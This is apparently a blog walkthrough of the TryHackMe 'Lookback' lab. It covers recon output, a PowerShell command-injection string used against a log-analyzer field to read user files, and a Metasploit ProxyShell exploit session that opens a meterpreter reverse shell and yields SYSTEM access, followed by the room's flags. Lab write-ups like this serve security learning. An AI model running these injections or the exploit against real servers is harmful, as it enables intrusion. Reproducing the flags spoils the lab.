Zpět na blog
TryHackMe: Lookback
TryHackMe: Lookback#### Welcome to another TryHackMe writeup/walkthrough. Today we’re looking at a room called Lookback v2.2. Let’s get started.
link: https://tryhackme.com/room/lookback
Recon
I began with a reconnaissance of the target machine using nmap. The results revealed open ports 80, 443, and 3389. Port 443 caught my attention, and upon exploration using a browser, I identified an Outlook (Exchange) login page. Thanks to the Wappalyzer tool, I detected that the server was running IIS and Exchange version 15.2.858. This was the key information for the later procedure.
C:\Users\Administrator\Documents
└─# nmap -sV -sC -A -O -v 10.10.167.49 Discovered open port 443/tcp on 10.10.167.49Discovered open port 3389/tcp on 10.10.167.49Discovered open port 80/tcp on 10.10.167.49PORT STATE SERVICE VERSION80/tcp open http Microsoft IIS httpd 10.0|_http-server-header: Microsoft-IIS/10.0|_http-title: Site doesn't have a title.443/tcp open ssl/https| ssl-cert: Subject: commonName=WIN-12OUO7A66M7| Subject Alternative Name: DNS:WIN-12OUO7A66M7, DNS:WIN-12OUO7A66M7.thm.local| Issuer: commonName=WIN-12OUO7A66M7| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha1WithRSAEncryption| Not valid before: 2023-01-25T21:34:02| Not valid after: 2028-01-25T21:34:02| MD5: 84e0:805f:3667:c38f:d820:4e7c:1da0:4215|_SHA-1: 0845:8fd9:d9bf:c4c6:48db:1f82:d3e7:324e:a924:52d7|_http-favicon: Unknown favicon MD5: 9A23689DAEDBFCCBD8DFB8BD0F3B79E0|_http-server-header: Microsoft-IIS/10.0| http-methods: |_ Supported Methods: GET HEAD POST OPTIONS3389/tcp open ms-wbt-server Microsoft Terminal Services| ssl-cert: Subject: commonName=WIN-12OUO7A66M7.thm.local| Issuer: commonName=WIN-12OUO7A66M7.thm.local| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2023-09-27T21:24:16| Not valid after: 2024-03-28T21:24:16| MD5: be50:d2ec:5fa6:5bf7:d7de:5aec:cfaf:6621|_SHA-1: 2cc8:4180:5523:957b:f0c0:c7ef:775f:09ce:fc78:f135Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portOS fingerprint not ideal because: Missing a closed TCP port so results incompleteNo OS matches for hostNetwork Distance: 2 hopsTCP Sequence Prediction: Difficulty=262 (Good luck!)IP ID Sequence Generation: IncrementalService Info: OS: Windows; CPE: cpe:/o:microsoft:windows
port 443
80/test
While investigating port 80, I stumbled upon a subdirectory /test using dirb, which required authentication. With the help of nikto, I discovered the default login credentials as admin/admin. Upon logging in, I encountered the first service flag and a LOG ANALYZER built on PowerShell
└─# dirb https://10.10.167.49/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txtGENERATED WORDS: 4613 ---- Scanning URL: https://10.10.167.49/ ----(!) WARNING: All responses for this directory seem to be CODE = 401. (Use mode '-w' if you want to scan it anyway)(!) WARNING: All responses for this directory seem to be CODE = 401. (Use mode '-w' if you want to scan it anyway)+ https://10.10.167.49/access.1 (CODE:302|SIZE:130) + https://10.10.167.49/access_log.1 (CODE:302|SIZE:134) + https://10.10.167.49/access-log.1 (CODE:302|SIZE:134) + https://10.10.167.49/admin.cgi (CODE:302|SIZE:131) + https://10.10.167.49/admin.php (CODE:302|SIZE:131) + https://10.10.167.49/admin.pl (CODE:302|SIZE:130)
└─# gobuster dir -u http://10.10.167.49/ -w /usr/share/wordlists/dirb/big.txt --exclude-length 0===============================================================Starting gobuster in directory enumeration mode===============================================================/TEST (Status: 403) [Size: 1233]/Test (Status: 403) [Size: 1233]/ecp (Status: 302) [Size: 207] [--> https://10.10.167.49/owa/auth/logon.aspx?url=https%3a%2f%2f10.10.167.49%2fecp&reason=0] Progress: 17495 / 20470 (85.47%)[ERROR] Get "http://10.10.167.49/sapi": context deadline exceeded (Client.Timeout exceeded while awaiting headers)/test (Status: 403) [Size: 1233]Progress: 20469 / 20470 (100.00%)===============================================================Finished===============================================================
└─# nikto -h http://10.10.167.49 ---------------------------------------------------------------------------+ Server: Microsoft-IIS/10.0+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/+ All CGI directories 'found', use '-C none' to test none+ /Autodiscover/Autodiscover.xml: Retrieved x-powered-by header: ASP.NET.+ /Autodiscover/Autodiscover.xml: Uncommon header 'x-feserver' found, with contents: WIN-12OUO7A66M7.+ /Rpc: Uncommon header 'request-id' found, with contents: dff137db-2047-4f0c-a7e5-ed1f18e9b388.+ /Rpc: Default account found for '' at (ID 'admin', PW 'admin'). Generic account discovered.. See: CWE-16
creds: admin/admin
service flag 🏁: THM{Security_Through_Obscurity_Is_Not_A_Defense}
I employed a PowerShell injection BitlockerActiveMonitoringLogs') ; dir #(' to obtain the directory structure. I focused on the user directory and secured the user flag under the dev user.
Powershell injection
BitlockerActiveMonitoringLogs') ; dir #('
BitlockerActiveMonitoringLogs') ; dir C:\Users #('
BitlockerActiveMonitoringLogs') ; type C:\Users\dev\Desktop\user.txt #('
user flag 🏁: THM{Stop_Reading_Start_Doing}
PRIVESC
The journey to the root flag was technically more demanding. On the desktop of the dev user, I found a file named TODO.txt, which contained information about the need to install a security update for MS Exchange. Recalling the earlier information about the Exchange version, I identified the Microsoft Exchange ProxyShell RCE vulnerability. After launching metasploit and applying the exploit using the email from TODO.txt, I gained system user. In the directory C:\Users\Administrator\Documents, I finally discovered the root flag.
BitlockerActiveMonitoringLogs') ; type C:\Users\dev\Desktop\TODO.txt #('
Install the Security Update for MS Exchange [TO BE DONE]
Wappalyzer > Exchange 15.2.858 > Microsoft Exchange ProxyShell RCE https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxyshell_rce/
msf6 > search exchange ProxyMatching Modules================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/gather/exchange_proxylogon_collector 2021-03-02 normal No Microsoft Exchange ProxyLogon Collector 1 exploit/windows/http/exchange_proxylogon_rce 2021-03-02 excellent Yes Microsoft Exchange ProxyLogon RCE 2 auxiliary/scanner/http/exchange_proxylogon 2021-03-02 normal No Microsoft Exchange ProxyLogon Scanner 3 exploit/windows/http/exchange_proxynotshell_rce 2022-09-28 excellent Yes Microsoft Exchange ProxyNotShell RCE 4 exploit/windows/http/exchange_proxyshell_rce 2021-04-06 excellent Yes Microsoft Exchange ProxyShell RCEInteract with a module by name or index. For example info 4, use 4 or use exploit/windows/http/exchange_proxyshell_rcemsf6 > use 4[*] Using configured payload windows/x64/meterpreter/reverse_tcpmsf6 exploit(windows/http/exchange_proxyshell_rce) > set RHOST 10.10.167.49msf6 exploit(windows/http/exchange_proxyshell_rce) > set LHOST 10.9.102.33msf6 exploit(windows/http/exchange_proxyshell_rce) > set EMAIL dev-infrastracture-team@thm.localEMAIL => dev-infrastracture-team@thm.localmsf6 exploit(windows/http/exchange_proxyshell_rce) > exploit[*] Started reverse TCP handler on 10.9.102.33:4444 [*] Running automatic check ("set AutoCheck false" to disable)[+] The target is vulnerable.[*] Attempt to exploit for CVE-2021-34473[*] Retrieving backend FQDN over RPC request[*] Internal server name: win-12ouo7a66m7.thm.local[*] Assigning the 'Mailbox Import Export' role via dev-infrastracture-team@thm.local[+] Successfully assigned the 'Mailbox Import Export' role[+] Proceeding with SID: S-1-5-21-2402911436-1669601961-3356949615-1144 (dev-infrastracture-team@thm.local)[*] Saving a draft email with subject 'EZdJFmHYi83' containing the attachment with the embedded webshell[*] Writing to: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\WQk02Ek1q7zc.aspx[*] Waiting for the export request to complete...[+] The mailbox export request has completed[*] Triggering the payload[*] Sending stage (200774 bytes) to 10.10.167.49[+] Deleted C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\WQk02Ek1q7zc.aspx[*] Meterpreter session 1 opened (10.9.102.33:4444 -> 10.10.167.49:10806) at 2023-09-29 00:22:38 +0200[*] Removing the mailbox export request[*] Removing the draft emailmeterpreter > shellProcess 14496 created.Channel 2 created.Microsoft Windows [Version 10.0.17763.107](c) 2018 Microsoft Corporation. All rights reserved.c:\windows\system32\inetsrv>whoamiwhoamint authority\systemc:\windows\system32\inetsrv>cd C:\rootcd C:\rootC:\root>dirdir Volume in drive C has no label. Volume Serial Number is 762A-C0C6 Directory of C:\root01/25/2023 02:34 PM <DIR> .01/25/2023 02:34 PM <DIR> .. 0 File(s) 0 bytes 2 Dir(s) 13,357,699,072 bytes freeC:\root>cd C:\Userscd C:\UsersC:\Users>dirdir Volume in drive C has no label. Volume Serial Number is 762A-C0C6 Directory of C:\Users01/26/2023 02:16 PM <DIR> .01/26/2023 02:16 PM <DIR> ..01/25/2023 01:54 PM <DIR> .NET v4.501/25/2023 01:54 PM <DIR> .NET v4.5 Classic03/21/2023 11:40 AM <DIR> Administrator02/21/2023 01:31 AM <DIR> dev01/25/2023 09:15 PM <DIR> Public 0 File(s) 0 bytes 7 Dir(s) 13,356,482,560 bytes freeC:\Users>cd Administratorcd AdministratorC:\Users\Administrator>dirdir Volume in drive C has no label. Volume Serial Number is 762A-C0C6 Directory of C:\Users\Administrator03/22/2023 12:13 PM <DIR> .03/22/2023 12:13 PM <DIR> ..01/25/2023 09:15 PM <DIR> 3D Objects01/25/2023 09:15 PM <DIR> Contacts01/25/2023 09:15 PM <DIR> Desktop02/12/2023 12:57 PM <DIR> Documents02/21/2023 01:30 AM <DIR> Downloads01/25/2023 09:15 PM <DIR> Favorites01/25/2023 09:15 PM <DIR> Links01/25/2023 09:15 PM <DIR> Music01/25/2023 09:15 PM <DIR> Pictures01/25/2023 09:15 PM <DIR> Saved Games01/25/2023 09:15 PM <DIR> Searches01/25/2023 09:15 PM <DIR> Videos 0 File(s) 0 bytes 14 Dir(s) 13,355,368,448 bytes freeC:\Users\Administrator>cd Desktopcd DesktopC:\Users\Administrator\Desktop>dirdir Volume in drive C has no label. Volume Serial Number is 762A-C0C6 Directory of C:\Users\Administrator\Desktop01/25/2023 09:15 PM <DIR> .01/25/2023 09:15 PM <DIR> .. 0 File(s) 0 bytes 2 Dir(s) 13,354,254,336 bytes freeC:\Users\Administrator\Desktop>cd ..cd ..C:\Users\Administrator>cd Documentscd DocumentsC:\Users\Administrator\Documents>dirdir Volume in drive C has no label. Volume Serial Number is 762A-C0C6 Directory of C:\Users\Administrator\Documents02/12/2023 12:57 PM <DIR> .02/12/2023 12:57 PM <DIR> ..02/12/2023 12:57 PM 35 flag.txt 1 File(s) 35 bytes 2 Dir(s) 13,351,165,952 bytes freeC:\Users\Administrator\Documents>type flag.txttype flag.txtTHM{Looking_Back_Is_Not_Always_Bad}
root flag 🏁: THM{Looking_Back_Is_Not_Always_Bad}
Thank you for reading!
If you like this content, feel free to follow me for more articles.
If you are interested in more articles from the world of cybersecurity, check out my weekly newsletter in which I summarize events from the world of cybersecurity.